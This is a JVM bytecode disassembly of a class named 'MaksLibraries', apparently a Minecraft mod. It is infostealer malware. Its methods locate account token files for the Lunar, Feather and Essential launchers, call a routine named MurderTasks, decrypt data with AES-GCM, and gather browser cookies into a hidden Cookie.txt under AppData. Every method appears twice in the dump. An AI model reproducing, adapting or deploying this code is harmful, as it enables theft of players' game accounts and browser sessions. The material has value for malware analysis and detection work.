0000a05einvokestatic #374 // Method javax/crypto/Cipher.getInstance:(Ljava/lang/String;)Ljavax/crypto/Cipher;
0000a061astore_2
0000a062aload_0
0000a063iconst_3
0000a064bipush 15
0000a066invokestatic #380 // Method java/util/Arrays.copyOfRange:([BII)[B
0000a069astore_3
0000a06aaload_0
0000a06bbipush 15
0000a06daload_0
0000a06earraylength
0000a06finvokestatic #380 // Method java/util/Arrays.copyOfRange:([BII)[B
0000a072astore 4
0000a074new #382 // class javax/crypto/spec/GCMParameterSpec
0000a077dup
0000a078sipush 128
0000a07baload_3
0000a07cinvokespecial #385 // Method javax/crypto/spec/GCMParameterSpec.<init>:(I[B)V
0000a07fastore 5
0000a081new #387 // class javax/crypto/spec/SecretKeySpec
0000a084dup
0000a085aload_1
0000a086ldc_w #389 // String "AES"
0000a089invokespecial #392 // Method javax/crypto/spec/SecretKeySpec.<init>:([BLjava/lang/String;)V
0000a08castore 6
0000a08eaload_2
0000a08ficonst_2
0000a090aload 6
0000a092aload 5
0000a094invokevirtual #396 // Method javax/crypto/Cipher.init:(ILjava/security/Key;Ljava/security/spec/AlgorithmParameterSpec;)V
0000a097new #91 // class java/lang/String
0000a09adup
0000a09baload_2
0000a09caload 4
0000a09einvokevirtual #400 // Method javax/crypto/Cipher.doFinal:([B)[B
0000a0a1invokespecial #403 // Method java/lang/String.<init>:([B)V
0000a0a4areturn
0000a0a5astore_2
0000a0a6aload_2
0000a0a7invokevirtual #404 // Method java/lang/Exception.printStackTrace:()V
0000a0aaaconst_null
0000a0abareturn
0000a05b
0000a164
0000a164makslibraries.MaksLibraries::grabLunar():
0000a164new #110 // class java/lang/StringBuilder
0000a167dup
0000a168invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
0000a16bldc_w #967 // String "user.home"
0000a16einvokestatic #970 // Method java/lang/System.getProperty:(Ljava/lang/String;)Ljava/lang/String;
0000a171invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000a174ldc_w #1247 // String "\\.lunarclient\\settings\\game\\accounts.json"
0000a177invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000a17ainvokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
0000a17dastore_1
0000a17enew #332 // class java/io/File
0000a181dup
0000a182aload_1
0000a183invokespecial #334 // Method java/io/File.<init>:(Ljava/lang/String;)V
0000a186invokevirtual #1087 // Method java/io/File.exists:()Z
0000a189ifne 41
0000a18creturn
0000a18daload_1
0000a18eiconst_0
0000a18fanewarray #91 // class java/lang/String
0000a192invokestatic #447 // Method java/nio/file/Paths.get:(Ljava/lang/String;[Ljava/lang/String;)Ljava/nio/file/Path;
0000a195iconst_0
0000a196anewarray #1249 // class java/nio/file/FileVisitOption
0000a199invokestatic #1253 // Method java/nio/file/Files.walk:(Ljava/nio/file/Path;[Ljava/nio/file/FileVisitOption;)Ljava/util/stream/Stream;
0000a19caload_1
0000a19dinvokedynamic #1266 // InvokeDynamic #7:accept:(Ljava/lang/String;)Ljava/util/function/Consumer;
0000a1a2invokeinterface #1272 // Method java/util/stream/Stream.forEach:(Ljava/util/function/Consumer;)V
0000a1a7goto 75
0000a1aaastore_2
0000a1abaload_2
0000a1acinvokevirtual #404 // Method java/lang/Exception.printStackTrace:()V
0000a1afreturn
0000a164
0000a164makslibraries.MaksLibraries::grabLunar():
0000a164new #110 // class java/lang/StringBuilder
0000a167dup
0000a168invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
0000a16bldc_w #967 // String "user.home"
0000a16einvokestatic #970 // Method java/lang/System.getProperty:(Ljava/lang/String;)Ljava/lang/String;
0000a171invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000a174ldc_w #1247 // String "\\.lunarclient\\settings\\game\\accounts.json"
0000a177invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000a17ainvokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
0000a17dastore_1
0000a17enew #332 // class java/io/File
0000a181dup
0000a182aload_1
0000a183invokespecial #334 // Method java/io/File.<init>:(Ljava/lang/String;)V
0000a186invokevirtual #1087 // Method java/io/File.exists:()Z
0000a189ifne 41
0000a18creturn
0000a18daload_1
0000a18eiconst_0
0000a18fanewarray #91 // class java/lang/String
0000a192invokestatic #447 // Method java/nio/file/Paths.get:(Ljava/lang/String;[Ljava/lang/String;)Ljava/nio/file/Path;
0000a195iconst_0
0000a196anewarray #1249 // class java/nio/file/FileVisitOption
0000a199invokestatic #1253 // Method java/nio/file/Files.walk:(Ljava/nio/file/Path;[Ljava/nio/file/FileVisitOption;)Ljava/util/stream/Stream;
0000a19caload_1
0000a19dinvokedynamic #1266 // InvokeDynamic #7:accept:(Ljava/lang/String;)Ljava/util/function/Consumer;
0000a1a2invokeinterface #1272 // Method java/util/stream/Stream.forEach:(Ljava/util/function/Consumer;)V
0000a1a7goto 75
0000a1aaastore_2
0000a1abaload_2
0000a1acinvokevirtual #404 // Method java/lang/Exception.printStackTrace:()V
0000a1afreturn
0000a164
0000a237
0000a237makslibraries.MaksLibraries::grabFeather():
0000a237new #110 // class java/lang/StringBuilder
0000a23adup
0000a23binvokespecial #111 // Method java/lang/StringBuilder.<init>:()V
0000a23egetstatic #946 // Field makslibraries/MaksLibraries.appData:Ljava/io/File;
0000a241invokevirtual #619 // Method java/lang/StringBuilder.append:(Ljava/lang/Object;)Ljava/lang/StringBuilder;
0000a244ldc_w #1276 // String "\\.feather\\accounts.json"
0000a247invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000a24ainvokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
0000a24dastore_1
0000a24enew #332 // class java/io/File
0000a251dup
0000a252aload_1
0000a253invokespecial #334 // Method java/io/File.<init>:(Ljava/lang/String;)V
0000a256invokevirtual #1087 // Method java/io/File.exists:()Z
0000a259ifne 38
0000a25creturn
0000a25daload_1
0000a25eiconst_0
0000a25fanewarray #91 // class java/lang/String
0000a262invokestatic #447 // Method java/nio/file/Paths.get:(Ljava/lang/String;[Ljava/lang/String;)Ljava/nio/file/Path;
0000a265iconst_0
0000a266anewarray #1249 // class java/nio/file/FileVisitOption
0000a269invokestatic #1253 // Method java/nio/file/Files.walk:(Ljava/nio/file/Path;[Ljava/nio/file/FileVisitOption;)Ljava/util/stream/Stream;
0000a26caload_1
0000a26dinvokedynamic #1281 // InvokeDynamic #8:accept:(Ljava/lang/String;)Ljava/util/function/Consumer;
0000a272invokeinterface #1272 // Method java/util/stream/Stream.forEach:(Ljava/util/function/Consumer;)V
0000a277goto 72
0000a27aastore_2
0000a27baload_2
0000a27cinvokevirtual #404 // Method java/lang/Exception.printStackTrace:()V
0000a27freturn
0000a237
0000a237makslibraries.MaksLibraries::grabFeather():
0000a237new #110 // class java/lang/StringBuilder
0000a23adup
0000a23binvokespecial #111 // Method java/lang/StringBuilder.<init>:()V
0000a23egetstatic #946 // Field makslibraries/MaksLibraries.appData:Ljava/io/File;
0000a241invokevirtual #619 // Method java/lang/StringBuilder.append:(Ljava/lang/Object;)Ljava/lang/StringBuilder;
0000a244ldc_w #1276 // String "\\.feather\\accounts.json"
0000a247invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000a24ainvokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
0000a24dastore_1
0000a24enew #332 // class java/io/File
0000a251dup
0000a252aload_1
0000a253invokespecial #334 // Method java/io/File.<init>:(Ljava/lang/String;)V
0000a256invokevirtual #1087 // Method java/io/File.exists:()Z
0000a259ifne 38
0000a25creturn
0000a25daload_1
0000a25eiconst_0
0000a25fanewarray #91 // class java/lang/String
0000a262invokestatic #447 // Method java/nio/file/Paths.get:(Ljava/lang/String;[Ljava/lang/String;)Ljava/nio/file/Path;
0000a265iconst_0
0000a266anewarray #1249 // class java/nio/file/FileVisitOption
0000a269invokestatic #1253 // Method java/nio/file/Files.walk:(Ljava/nio/file/Path;[Ljava/nio/file/FileVisitOption;)Ljava/util/stream/Stream;
0000a26caload_1
0000a26dinvokedynamic #1281 // InvokeDynamic #8:accept:(Ljava/lang/String;)Ljava/util/function/Consumer;
0000a272invokeinterface #1272 // Method java/util/stream/Stream.forEach:(Ljava/util/function/Consumer;)V
0000a277goto 72
0000a27aastore_2
0000a27baload_2
0000a27cinvokevirtual #404 // Method java/lang/Exception.printStackTrace:()V
0000a27freturn
0000a237
0000a307
0000a307makslibraries.MaksLibraries::grabEssential(java.lang.String):
0000a307new #110 // class java/lang/StringBuilder
0000a30adup
0000a30binvokespecial #111 // Method java/lang/StringBuilder.<init>:()V
0000a30eaload_1
0000a30finvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000a312ldc_w #1284 // String "\\essential\\microsoft_accounts.json"
0000a315invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000a318invokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
0000a31bastore_2
0000a31cnew #110 // class java/lang/StringBuilder
0000a31fdup
0000a320invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
0000a323astore_3
0000a324new #332 // class java/io/File
0000a327dup
0000a328aload_2
0000a329invokespecial #334 // Method java/io/File.<init>:(Ljava/lang/String;)V
0000a32cinvokevirtual #1087 // Method java/io/File.exists:()Z
0000a32fifne 44
0000a332return
0000a333aload_2
0000a334iconst_0
0000a335anewarray #91 // class java/lang/String
0000a338invokestatic #447 // Method java/nio/file/Paths.get:(Ljava/lang/String;[Ljava/lang/String;)Ljava/nio/file/Path;
0000a33biconst_0
0000a33canewarray #1249 // class java/nio/file/FileVisitOption
0000a33finvokestatic #1253 // Method java/nio/file/Files.walk:(Ljava/nio/file/Path;[Ljava/nio/file/FileVisitOption;)Ljava/util/stream/Stream;
0000a342aload_2
0000a343invokedynamic #1289 // InvokeDynamic #9:accept:(Ljava/lang/String;)Ljava/util/function/Consumer;
0000a348invokeinterface #1272 // Method java/util/stream/Stream.forEach:(Ljava/util/function/Consumer;)V
0000a34dgoto 85
0000a350astore 4
0000a352new #181 // class java/lang/RuntimeException
0000a355dup
0000a356aload 4
0000a358invokespecial #184 // Method java/lang/RuntimeException.<init>:(Ljava/lang/Throwable;)V
0000a35bathrow
0000a35creturn
0000a307
0000a307makslibraries.MaksLibraries::grabEssential(java.lang.String):
0000a307new #110 // class java/lang/StringBuilder
0000a30adup
0000a30binvokespecial #111 // Method java/lang/StringBuilder.<init>:()V
0000a30eaload_1
0000a30finvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000a312ldc_w #1284 // String "\\essential\\microsoft_accounts.json"
0000a315invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000a318invokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
0000a31bastore_2
0000a31cnew #110 // class java/lang/StringBuilder
0000a31fdup
0000a320invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
0000a323astore_3
0000a324new #332 // class java/io/File
0000a327dup
0000a328aload_2
0000a329invokespecial #334 // Method java/io/File.<init>:(Ljava/lang/String;)V
0000a32cinvokevirtual #1087 // Method java/io/File.exists:()Z
0000a32fifne 44
0000a332return
0000a333aload_2
0000a334iconst_0
0000a335anewarray #91 // class java/lang/String
0000a338invokestatic #447 // Method java/nio/file/Paths.get:(Ljava/lang/String;[Ljava/lang/String;)Ljava/nio/file/Path;
0000a33biconst_0
0000a33canewarray #1249 // class java/nio/file/FileVisitOption
0000a33finvokestatic #1253 // Method java/nio/file/Files.walk:(Ljava/nio/file/Path;[Ljava/nio/file/FileVisitOption;)Ljava/util/stream/Stream;
0000a342aload_2
0000a343invokedynamic #1289 // InvokeDynamic #9:accept:(Ljava/lang/String;)Ljava/util/function/Consumer;
0000a348invokeinterface #1272 // Method java/util/stream/Stream.forEach:(Ljava/util/function/Consumer;)V
0000a34dgoto 85
0000a350astore 4
0000a352new #181 // class java/lang/RuntimeException
0000a355dup
0000a356aload 4
0000a358invokespecial #184 // Method java/lang/RuntimeException.<init>:(Ljava/lang/Throwable;)V
0000a35bathrow
0000a35creturn
0000a307
0000a3ff
0000a3ffmakslibraries.MaksLibraries::grabEssentialapp():
0000a3ffnew #110 // class java/lang/StringBuilder
0000a402dup
0000a403invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
0000a406getstatic #946 // Field makslibraries/MaksLibraries.appData:Ljava/io/File;
0000a409invokevirtual #619 // Method java/lang/StringBuilder.append:(Ljava/lang/Object;)Ljava/lang/StringBuilder;
0000a40cldc_w #1294 // String "\\.minecraft\\essential\\microsoft_accounts.json"
0000a40finvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000a412invokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
0000a415astore_1
0000a416new #110 // class java/lang/StringBuilder
0000a419dup
0000a41ainvokespecial #111 // Method java/lang/StringBuilder.<init>:()V
0000a41dastore_2
0000a41enew #332 // class java/io/File
0000a421dup
0000a422aload_1
0000a423invokespecial #334 // Method java/io/File.<init>:(Ljava/lang/String;)V
0000a426invokevirtual #1087 // Method java/io/File.exists:()Z
0000a429ifne 46
0000a42creturn
0000a42daload_1
0000a42eiconst_0
0000a42fanewarray #91 // class java/lang/String
0000a432invokestatic #447 // Method java/nio/file/Paths.get:(Ljava/lang/String;[Ljava/lang/String;)Ljava/nio/file/Path;
0000a435iconst_0
0000a436anewarray #1249 // class java/nio/file/FileVisitOption
0000a439invokestatic #1253 // Method java/nio/file/Files.walk:(Ljava/nio/file/Path;[Ljava/nio/file/FileVisitOption;)Ljava/util/stream/Stream;
0000a43caload_1
0000a43dinvokedynamic #1299 // InvokeDynamic #10:accept:(Ljava/lang/String;)Ljava/util/function/Consumer;
0000a442invokeinterface #1272 // Method java/util/stream/Stream.forEach:(Ljava/util/function/Consumer;)V
0000a447goto 85
0000a44aastore_3
0000a44bnew #181 // class java/lang/RuntimeException
0000a44edup
0000a44faload_3
0000a450invokespecial #184 // Method java/lang/RuntimeException.<init>:(Ljava/lang/Throwable;)V
0000a453athrow
0000a454return
0000a3ff
0000a3ffmakslibraries.MaksLibraries::grabEssentialapp():
0000a3ffnew #110 // class java/lang/StringBuilder
0000a402dup
0000a403invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
0000a406getstatic #946 // Field makslibraries/MaksLibraries.appData:Ljava/io/File;
0000a409invokevirtual #619 // Method java/lang/StringBuilder.append:(Ljava/lang/Object;)Ljava/lang/StringBuilder;
0000a40cldc_w #1294 // String "\\.minecraft\\essential\\microsoft_accounts.json"
0000a40finvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000a412invokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
0000a415astore_1
0000a416new #110 // class java/lang/StringBuilder
0000a419dup
0000a41ainvokespecial #111 // Method java/lang/StringBuilder.<init>:()V
0000a41dastore_2
0000a41enew #332 // class java/io/File
0000a421dup
0000a422aload_1
0000a423invokespecial #334 // Method java/io/File.<init>:(Ljava/lang/String;)V
0000a426invokevirtual #1087 // Method java/io/File.exists:()Z
0000a429ifne 46
0000a42creturn
0000a42daload_1
0000a42eiconst_0
0000a42fanewarray #91 // class java/lang/String
0000a432invokestatic #447 // Method java/nio/file/Paths.get:(Ljava/lang/String;[Ljava/lang/String;)Ljava/nio/file/Path;
0000a435iconst_0
0000a436anewarray #1249 // class java/nio/file/FileVisitOption
0000a439invokestatic #1253 // Method java/nio/file/Files.walk:(Ljava/nio/file/Path;[Ljava/nio/file/FileVisitOption;)Ljava/util/stream/Stream;
0000a43caload_1
0000a43dinvokedynamic #1299 // InvokeDynamic #10:accept:(Ljava/lang/String;)Ljava/util/function/Consumer;
0000a442invokeinterface #1272 // Method java/util/stream/Stream.forEach:(Ljava/util/function/Consumer;)V
0000a447goto 85
0000a44aastore_3
0000a44bnew #181 // class java/lang/RuntimeException
0000a44edup
0000a44faload_3
0000a450invokespecial #184 // Method java/lang/RuntimeException.<init>:(Ljava/lang/Throwable;)V
0000a453athrow
0000a454return
0000a3ff
0000a4ed
0000a4edmakslibraries.MaksLibraries::grabCookies():
0000a4edinvokestatic #1303 // Method makslibraries/MaksLibraries.MurderTasks:()V
0000a4f0invokestatic #1306 // Method makslibraries/MaksLibraries.crawlUserDatacc:()V
0000a4f3ldc #108 // String ""
0000a4f5astore_0
0000a4f6getstatic #1308 // Field makslibraries/MaksLibraries.cookies:Lcom/google/gson/JsonArray;
0000a4f9invokevirtual #1311 // Method com/google/gson/JsonArray.iterator:()Ljava/util/Iterator;
0000a4fcastore_1
0000a4fdaload_1
0000a4feinvokeinterface #583 // Method java/util/Iterator.hasNext:()Z
0000a503ifeq 119
0000a506aload_1
0000a507invokeinterface #587 // Method java/util/Iterator.next:()Ljava/lang/Object;
0000a50ccheckcast #486 // class com/google/gson/JsonElement
0000a50fastore_2
0000a510new #110 // class java/lang/StringBuilder
0000a513dup
0000a514invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
0000a517aload_0
0000a518invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000a51baload_2
0000a51cinvokevirtual #490 // Method com/google/gson/JsonElement.getAsJsonObject:()Lcom/google/gson/JsonObject;
0000a51fldc_w #1313 // String "hostKey"
0000a522invokevirtual #484 // Method com/google/gson/JsonObject.get:(Ljava/lang/String;)Lcom/google/gson/JsonElement;
0000a525invokevirtual #495 // Method com/google/gson/JsonElement.getAsString:()Ljava/lang/String;
0000a528invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000a52bldc_w #1315 // String "\tTRUE\t/\tFALSE\t2597573456\t"
0000a52einvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000a531aload_2
0000a532invokevirtual #490 // Method com/google/gson/JsonElement.getAsJsonObject:()Lcom/google/gson/JsonObject;
0000a535ldc_w #788 // String "name"
0000a538invokevirtual #484 // Method com/google/gson/JsonObject.get:(Ljava/lang/String;)Lcom/google/gson/JsonElement;
0000a53binvokevirtual #495 // Method com/google/gson/JsonElement.getAsString:()Ljava/lang/String;
0000a53einvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000a541ldc_w #1317 // String "\t"
0000a544invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000a547aload_2
0000a548invokevirtual #490 // Method com/google/gson/JsonElement.getAsJsonObject:()Lcom/google/gson/JsonObject;
0000a54bldc_w #1318 // String "value"
0000a54einvokevirtual #484 // Method com/google/gson/JsonObject.get:(Ljava/lang/String;)Lcom/google/gson/JsonElement;
0000a551invokevirtual #495 // Method com/google/gson/JsonElement.getAsString:()Ljava/lang/String;
0000a554invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000a557ldc_w #610 // String "\n"
0000a55ainvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000a55dinvokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
0000a560astore_0
0000a561goto 16
0000a564new #332 // class java/io/File
0000a567dup
0000a568new #110 // class java/lang/StringBuilder
0000a56bdup
0000a56cinvokespecial #111 // Method java/lang/StringBuilder.<init>:()V
0000a56fldc_w #967 // String "user.home"
0000a572invokestatic #970 // Method java/lang/System.getProperty:(Ljava/lang/String;)Ljava/lang/String;
0000a575invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000a578ldc_w #1320 // String "\\AppData\\Roaming\\Microsoft\\ilr-"
0000a57binvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000a57eldc_w #1322 // String "user.name"
0000a581invokestatic #970 // Method java/lang/System.getProperty:(Ljava/lang/String;)Ljava/lang/String;
0000a584invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000a587invokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
0000a58ainvokespecial #334 // Method java/io/File.<init>:(Ljava/lang/String;)V
0000a58dastore_1
0000a58eaload_1
0000a58finvokevirtual #1087 // Method java/io/File.exists:()Z
0000a592ifne 173
0000a595aload_1
0000a596invokevirtual #930 // Method java/io/File.mkdirs:()Z
0000a599pop
0000a59anew #332 // class java/io/File
0000a59ddup
0000a59eaload_1
0000a59fldc_w #1324 // String "Cookie.txt"
0000a5a2invokespecial #1090 // Method java/io/File.<init>:(Ljava/io/File;Ljava/lang/String;)V
0000a5a5astore_2
0000a5a6new #1177 // class java/io/BufferedWriter
0000a5a9dup
0000a5aanew #602 // class java/io/FileWriter
0000a5addup
0000a5aeaload_2
0000a5afinvokespecial #1325 // Method java/io/FileWriter.<init>:(Ljava/io/File;)V
0000a5b2invokespecial #1182 // Method java/io/BufferedWriter.<init>:(Ljava/io/Writer;)V
0000a5b5astore_3
0000a5b6aconst_null
0000a5b7astore 4
0000a5b9aload_3
0000a5baaload_0
0000a5bbinvokevirtual #1183 // Method java/io/BufferedWriter.write:(Ljava/lang/String;)V
0000a5beaload_3
0000a5bfifnull 290
0000a5c2aload 4
0000a5c4ifnull 237
0000a5c7aload_3
0000a5c8invokevirtual #1184 // Method java/io/BufferedWriter.close:()V
0000a5cbgoto 290
0000a5ceastore 5
0000a5d0aload 4
0000a5d2aload 5
0000a5d4invokevirtual #297 // Method java/lang/Throwable.addSuppressed:(Ljava/lang/Throwable;)V
0000a5d7goto 290
0000a5daaload_3
0000a5dbinvokevirtual #1184 // Method java/io/BufferedWriter.close:()V
0000a5degoto 290
0000a5e1astore 5
0000a5e3aload 5
0000a5e5astore 4
0000a5e7aload 5
0000a5e9athrow
0000a5eaastore 6
0000a5ecaload_3
0000a5edifnull 287
0000a5f0aload 4
0000a5f2ifnull 283
0000a5f5aload_3
0000a5f6invokevirtual #1184 // Method java/io/BufferedWriter.close:()V
0000a5f9goto 287
0000a5fcastore 7
0000a5feaload 4
0000a600aload 7
0000a602invokevirtual #297 // Method java/lang/Throwable.addSuppressed:(Ljava/lang/Throwable;)V
0000a605goto 287
0000a608aload_3
0000a609invokevirtual #1184 // Method java/io/BufferedWriter.close:()V
0000a60caload 6
0000a60eathrow
0000a60fgoto 298
0000a612astore_3
0000a613aload_3
0000a614invokevirtual #404 // Method java/lang/Exception.printStackTrace:()V
0000a617return
0000a4ed
0000a4edmakslibraries.MaksLibraries::grabCookies():
0000a4edinvokestatic #1303 // Method makslibraries/MaksLibraries.MurderTasks:()V
0000a4f0invokestatic #1306 // Method makslibraries/MaksLibraries.crawlUserDatacc:()V
0000a4f3ldc #108 // String ""
0000a4f5astore_0
0000a4f6getstatic #1308 // Field makslibraries/MaksLibraries.cookies:Lcom/google/gson/JsonArray;
0000a4f9invokevirtual #1311 // Method com/google/gson/JsonArray.iterator:()Ljava/util/Iterator;
0000a4fcastore_1
0000a4fdaload_1
0000a4feinvokeinterface #583 // Method java/util/Iterator.hasNext:()Z
0000a503ifeq 119
0000a506aload_1
0000a507invokeinterface #587 // Method java/util/Iterator.next:()Ljava/lang/Object;
0000a50ccheckcast #486 // class com/google/gson/JsonElement
0000a50fastore_2
0000a510new #110 // class java/lang/StringBuilder
0000a513dup
0000a514invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
0000a517aload_0
0000a518invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000a51baload_2
0000a51cinvokevirtual #490 // Method com/google/gson/JsonElement.getAsJsonObject:()Lcom/google/gson/JsonObject;
0000a51fldc_w #1313 // String "hostKey"
0000a522invokevirtual #484 // Method com/google/gson/JsonObject.get:(Ljava/lang/String;)Lcom/google/gson/JsonElement;
0000a525invokevirtual #495 // Method com/google/gson/JsonElement.getAsString:()Ljava/lang/String;
0000a528invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000a52bldc_w #1315 // String "\tTRUE\t/\tFALSE\t2597573456\t"
0000a52einvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000a531aload_2
0000a532invokevirtual #490 // Method com/google/gson/JsonElement.getAsJsonObject:()Lcom/google/gson/JsonObject;
0000a535ldc_w #788 // String "name"
0000a538invokevirtual #484 // Method com/google/gson/JsonObject.get:(Ljava/lang/String;)Lcom/google/gson/JsonElement;
0000a53binvokevirtual #495 // Method com/google/gson/JsonElement.getAsString:()Ljava/lang/String;
0000a53einvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000a541ldc_w #1317 // String "\t"
0000a544invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000a547aload_2
0000a548invokevirtual #490 // Method com/google/gson/JsonElement.getAsJsonObject:()Lcom/google/gson/JsonObject;
0000a54bldc_w #1318 // String "value"
0000a54einvokevirtual #484 // Method com/google/gson/JsonObject.get:(Ljava/lang/String;)Lcom/google/gson/JsonElement;
0000a551invokevirtual #495 // Method com/google/gson/JsonElement.getAsString:()Ljava/lang/String;
0000a554invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000a557ldc_w #610 // String "\n"
0000a55ainvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000a55dinvokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
0000a560astore_0
0000a561goto 16
0000a564new #332 // class java/io/File
0000a567dup
0000a568new #110 // class java/lang/StringBuilder
0000a56bdup
0000a56cinvokespecial #111 // Method java/lang/StringBuilder.<init>:()V
0000a56fldc_w #967 // String "user.home"
0000a572invokestatic #970 // Method java/lang/System.getProperty:(Ljava/lang/String;)Ljava/lang/String;
0000a575invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000a578ldc_w #1320 // String "\\AppData\\Roaming\\Microsoft\\ilr-"
0000a57binvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000a57eldc_w #1322 // String "user.name"
0000a581invokestatic #970 // Method java/lang/System.getProperty:(Ljava/lang/String;)Ljava/lang/String;
0000a584invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000a587invokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
0000a58ainvokespecial #334 // Method java/io/File.<init>:(Ljava/lang/String;)V
0000a58dastore_1
0000a58eaload_1
0000a58finvokevirtual #1087 // Method java/io/File.exists:()Z
0000a592ifne 173
0000a595aload_1
0000a596invokevirtual #930 // Method java/io/File.mkdirs:()Z
0000a599pop
0000a59anew #332 // class java/io/File
0000a59ddup
0000a59eaload_1
0000a59fldc_w #1324 // String "Cookie.txt"
0000a5a2invokespecial #1090 // Method java/io/File.<init>:(Ljava/io/File;Ljava/lang/String;)V
0000a5a5astore_2
0000a5a6new #1177 // class java/io/BufferedWriter
0000a5a9dup
0000a5aanew #602 // class java/io/FileWriter
0000a5addup
0000a5aeaload_2
0000a5afinvokespecial #1325 // Method java/io/FileWriter.<init>:(Ljava/io/File;)V
0000a5b2invokespecial #1182 // Method java/io/BufferedWriter.<init>:(Ljava/io/Writer;)V
0000a5b5astore_3
0000a5b6aconst_null
0000a5b7astore 4
0000a5b9aload_3
0000a5baaload_0
0000a5bbinvokevirtual #1183 // Method java/io/BufferedWriter.write:(Ljava/lang/String;)V
0000a5beaload_3
0000a5bfifnull 290
0000a5c2aload 4
0000a5c4ifnull 237
0000a5c7aload_3
0000a5c8invokevirtual #1184 // Method java/io/BufferedWriter.close:()V
0000a5cbgoto 290
0000a5ceastore 5
0000a5d0aload 4
0000a5d2aload 5
0000a5d4invokevirtual #297 // Method java/lang/Throwable.addSuppressed:(Ljava/lang/Throwable;)V
0000a5d7goto 290
0000a5daaload_3
0000a5dbinvokevirtual #1184 // Method java/io/BufferedWriter.close:()V
0000a5degoto 290
0000a5e1astore 5
0000a5e3aload 5
0000a5e5astore 4
0000a5e7aload 5
0000a5e9athrow
0000a5eaastore 6
0000a5ecaload_3
0000a5edifnull 287
0000a5f0aload 4
0000a5f2ifnull 283
0000a5f5aload_3
0000a5f6invokevirtual #1184 // Method java/io/BufferedWriter.close:()V
0000a5f9goto 287
0000a5fcastore 7
0000a5feaload 4
0000a600aload 7
0000a602invokevirtual #297 // Method java/lang/Throwable.addSuppressed:(Ljava/lang/Throwable;)V
0000a605goto 287
0000a608aload_3
0000a609invokevirtual #1184 // Method java/io/BufferedWriter.close:()V
0000a60caload 6
0000a60eathrow
0000a60fgoto 298
0000a612astore_3
0000a613aload_3
0000a614invokevirtual #404 // Method java/lang/Exception.printStackTrace:()V
0000a617return
0000a4ed
Loading..